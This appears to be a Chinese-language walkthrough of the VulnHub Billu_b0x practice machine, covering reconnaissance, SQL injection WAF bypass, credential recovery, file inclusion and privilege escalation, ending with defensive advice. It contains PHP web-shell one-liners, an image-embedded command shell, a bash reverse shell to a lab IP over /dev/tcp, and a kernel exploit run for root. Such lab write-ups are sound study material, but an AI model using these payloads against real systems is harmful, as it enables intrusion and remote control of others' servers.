VulnHub Billu_b0x

0x01 信息收集

一、探测靶机ip

首先把靶机打开:
在这里插入图片描述
不知道密码啊怎么登?哦,这是靶机,就是让我们进行渗透的,登上基本就GG了。

步入正题,首先先查看一下kali的ip,ip add
在这里插入图片描述
先简单总结一下nmap的常用命令,相关介绍和具体使用自行百度:

参数功能

kali与靶机都用的net模式,使用的均是VMnet8网卡,也就是处于同一C段。接着使用kali下的nmap对同一C段存活主机进行扫描,nmap -sP 192.168.292.1/24
在这里插入图片描述
二、端口扫描

其中192.168.202.1是网关,192.168.202.130是本机,192.168.202.2和192.168.202.254是个谜,所以靶机应该是192.168.202.129。接下来对靶机进行全扫描,nmap -Pn -A 192.168.202.129
在这里插入图片描述
开放了22/ssh和80/http两个端口,22端口暂时先不管它,看看后面能不能找到用户名和密码,先用80端口访问一下:
在这里插入图片描述
一个平平无奇的登录界面,根据提示应该是存在SQL注入(该说不说,UI做的还蛮酷),具体利用后面再说。

0x02 漏洞探测

接下来使用kali的dirb对靶机进行目录扫描,dirb "http://192.168.202.129"
在这里插入图片描述
再用本机上的dirmap扫一遍,防止漏掉关键信息:
在这里插入图片描述
接下来我们依次访问这些目录,其中/add存在文件上传和提交框,可能存在文件上传漏洞和存储型xss:
在这里插入图片描述
/c、/show一片空白,/head是80端口的UI图,/in是phpinfo():
在这里插入图片描述
phpinfo()能查看到许多有用的信息,比如网站根目录路径:
在这里插入图片描述
/index、/panel是80端口界面,/test可以post一个file参数,应该是绝对路径,可能存在文件包含漏洞:
在这里插入图片描述
/phpmy是一个phpmyadmin的登录界面,可能存在弱口令及其对应版本的CMS漏洞:
在这里插入图片描述
先做一下简要的分析,在漏洞利用模块中会对相关漏洞的发现与分析再做进一步的补充。

0x03 漏洞利用

一、SQL注入

回到之前的80端口,先简单手工测试一下,admin #'"

输啥都是try again,应该是时间盲注,话不多说,把post请求包保存为1.txt,看看sqlmap能不能一把梭,sqlmap -r /root/Desktop/1.txt
在这里插入图片描述
失败了,说是存在waf,让我们试试tamper和–random-agent,tamper了解过但不是太熟,而且也不知道waf的过滤规则是什么,所以直接尝试下–random-agent能不能行得通,sqlmap -r /root/Desktop/1.txt --current-db --random-agent
在这里插入图片描述
好家伙,sqlmap是跟它杠上了,本来不打算用tamper的,sqlmap直接提示让我们试试–tamper=space2comment,试试就试试,sqlmap -r /root/Desktop/1.txt --current-db --random-agent --tamper=space2comment:

还是不行,看来sqlmap是没戏了,我们利用/test中的文件包含获取index.php的源码进行审计:
在这里插入图片描述
发现waf规则将'替换为空以及查询语句,调试代码及运行结果如下:
在这里插入图片描述
在这里插入图片描述
无法使用'进行闭合,自然而然想到使用\进行转义,于是构造payloadunmae=or 1 #&pass=\,成功绕过waf登录:
在这里插入图片描述
在这里插入图片描述
ok,就先到这里,稍后再对该界面进行分析与利用。

二、文件上传与XSS

进入/add,尝试上传图马和一句话:
在这里插入图片描述
在这里插入图片描述
这是一个空壳子,只实现了前端上传功能,后端根本没有接收和处理。

三、文件上传与文件包含

再尝试对文件包含漏洞进行利用前,先查看一下/in的phpinfo(),在phpinfo()中应该能找到关键配置文件的绝对路径,以及一些相关的配置信息:

在这里插入图片描述
首先得知了一些配置文件的绝对路径。
在这里插入图片描述
allow_url_fopen=On(允许打开URL文件,默认启用),allow_url_include=Off(禁止引用URL文件,默认关闭)。

这是文件包含中最重要的两个设置,决定了我们能否利用以及利用的程度。
在这里插入图片描述
open_basedir的值没有设置,也就是没有对用户可操作的文件范围做限制。但是allow_url_include=Off,所以说我们无法使用php://input和data://进行写shell操作。
在这里插入图片描述
综上,远程包含已无可能,那么本地包含能怎么利用呢?首先是可以查看一些敏感文件,比如/etc/passwd,其次我们还可以尝试日志包含和session包含。

首先来说session包含,一种办法是利用session.upload_progress特性,但这是php5.3,而session.upload_progress是php5.4的新特征,何况它需要借助文件上传功能才能实现,所以该方法pass。还有一种方法,就是借助phpmyadmin,因为phpmyadmin登录时,可能会将用户名存储在session中。我们查看一下session的存放地址:
在这里插入图片描述

常见的php-session存放位置还有这几个:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

得知了session的存放路径,我们就可以尝试一下在登录phpmyadmin的时候在用户名处输入一句话木马,然后进行连接。

接着我们再分析一下日志包含,phpinfo()好像查不到日志路径,但是日志有一些默认路径,也是可以碰碰运气的。

apache+Linux日志默认路径:

/etc/httpd/logs/access_log
/var/log/httpd/access_log

apache+win2003日志默认路径:

D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

IIS6.0+win2003默认日志文件:

C:\WINDOWS\system32\Logfiles


IIS7.0+win2003默认日志文件:

%SystemDrive%\inetpub\logs\LogFiles


nginx 日志文件:

日志文件在用户安装目录logs目录下,以我的安装路径为例:/usr/local/nginx,那我的日志目录就是在:/usr/local/nginx/logs里

分析完毕,接下来我们一个一个的尝试利用,首先尝试查看/etc/passwd:
在这里插入图片描述

在这里插入图片描述
发现两个用户,root和ica,但是不知道密码,弱口令尝试无果。

再查看一下之前空白的c.php,存在即合理:
在这里插入图片描述
是mysql的连接文件,用户名:billu,密码:b0x_billu,数据库名:ica_lab。

成功登录phpmyadmin,首先查看mysql和phpmyadmin的版本:
在这里插入图片描述
查询secure_file_priv的值,show variables like "%secure%"
在这里插入图片描述
secure_file_priv为空,尝试写入shell:
在这里插入图片描述
Access denied for user ‘billu’@‘localhost’ (using password: YES),查看一下该用户权限,show grants for billu@localhost
在这里插入图片描述
应该是该用户没有file权限,所以无法进行文件读写,详见MySQL权限分类
在这里插入图片描述

查看一下数据库,在ica_lab的auth表中找到了80端口的用户名:biLLu和密码:hEx_it,这个我们后面再做登录。
在这里插入图片描述
接下来尝试session包含:
在这里插入图片描述
在这里插入图片描述
正常来说应该是这样的:

<?php
   session_start();
   $username=$_GET['username'];
   $_SESSION["username"]=$ctfs;
?>

但是这里没有对username做存储,因此无法进行session包含。
在这里插入图片描述
审计index.php源码证明确实如此,这里存储的logged代表登录状态:
在这里插入图片描述

最后我们试一下日志包含,查询general_log和general_log_file,show global variables like "%general%";

这里不再具体演示,毕竟我们前面已经成功登录phpmyadmin拿到了80端口的用户名和密码。

这里再补充一点,phpmyadmin的默认的配置文件是config.inc.php,通过前面的信息猜测路径为/var/www/phpmy/config.inc.php,尝试对其进行包含:
在这里插入图片描述
GG,直接拿到了用户名和密码,而且还是root权限:
在这里插入图片描述
其实已经不用玩了,不过我们还是把能走的路尽可能的都走一遍吧。

用之前在phpmyadmin翻到的用户名和密码进行登录(或是SQL注入):
在这里插入图片描述
跟之前/add的那个空壳子一模一样,但这个应该是有具体实现的,尝试上传一句话:
在这里插入图片描述
既然存在文件包含,图马也是可以利用的,尝试上传图马:
在这里插入图片描述
在这里插入图片描述
但是不知道上传路径,应该是扫描的时候没爆出来,尝试/image失败,尝试/images成功:
在这里插入图片描述
但这里是UI图片,审计panel.php得知上传目录为/uploaded_images,而且还做了白名单校验,这也是一句话上传失败的原因:
在这里插入图片描述
感觉既然源码都拿到了,应该是有办法进行绕过的。不过已经成功上传了图马,还是直接利用图马吧。

进入/uploaded_images,成功找到上传的图马guogouma.jpg:
在这里插入图片描述
但当我尝试对其进行连接时,发现自己疏忽了一点,/test的file是post型参数,填写url时无法传参。当我查看test.php的源码时,我又发现自己疏忽了亿点,此处其实不是文件包含,而是文件下载:
在这里插入图片描述
思路应该没错,但是不能直接使用一键连接。还有一点需要注意的是,/test应该是用来混淆实视线的,它本质上并不是文件包含。既然设置了假的文件包含,那想必是为了隐藏真的文件包含。爆出的目录中还没有查看过/panel的源码,下面我们查看一下panel.php:
在这里插入图片描述
果然不出所料,/panel才是真正的文件包含。通过审计panel.php不难发现,else中的include可以被我们利用。虽然图马上传后不能直接连接,但仍可以利用其执行系统命令。

但是这里我们需要重新上传一张图马,因为原先上传的图马为<?php @eval($_POST['a']); ?>,是post型参数,而文件包换也是post型参数,两者同时传参的话无法完成先对图马进行包含,再传入系统命令的正确逻辑,从而导致命令无法执行。那么如何才能让其产生先后之分呢?利用cookie > post > get的优先级关系,使用<?php system($_GET['cmd']); ?>的get型参数就可以完美解决该问题:
在这里插入图片描述
在这里插入图片描述
利用/panel进行文件包含continue=1&load=uploaded_images/cmd.jpg,成功执行系统命令?cmd=ls
在这里插入图片描述
接下来尝试使用echo "bash -i >& /dev/tcp/192.168.202.130/6666 0>&1" | bash反弹shell,首先进行url编码:
在这里插入图片描述
然后跟上面一样,包含并传入命令:
在这里插入图片描述
forward后成功接受反弹shell并查看用户权限:
在这里插入图片描述
为了便于管理,我们进入一个有写权限的目录如/uploaded_mages下:cd uploaded_images,写入一句话木马:echo '<?php @eval($_POST['a'] ) ?> >> i0clay.php',并使用工具连接:
在这里插入图片描述
在这里插入图片描述

0x04 本地提权

查看系统内核版本,uname -r
在这里插入图片描述
查看系统发行版,cat /etc/os-release
在这里插入图片描述
Copy Ubuntu著名的本地提权漏洞exp,https://www.exploit-db.com/exploits/37292
在这里插入图片描述
在本地保存为exploit.c并上传至靶机的/var/www/uploaded_images目录下:
在这里插入图片描述
赋予执行权限后编译执行,成功提至root权限:
在这里插入图片描述

0x05 Summary

总的来说,该靶机有以下路线可走:

1.SQL注入+文件上传+本地包含+提权

2.包含phpmyadmin的配置文件config.inc.php直接通关

3.包含c.php获取phpmyadmin密码,登录phpmyadmin获取web密码,然后同上进行文件上传+本地包含+提权。

靶机上phpmyadmin的版本很低,应该是存在版本漏洞的,也可以尝试对其进行挖掘和利用。

该靶机的漏洞基本都围绕与文件包含,关于文件包含可以从一下方面防御:

  • 白名单:限制包含文件
  • 黑名单:过滤…/等危险字符
  • 设置文件目录:使用 open_basedir 限制文件操作目录
  • 关闭危险配置:合理配置 allow_url_include
  • 避免动态包含:硬编码如 include(‘head.php’),避免参数可控
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值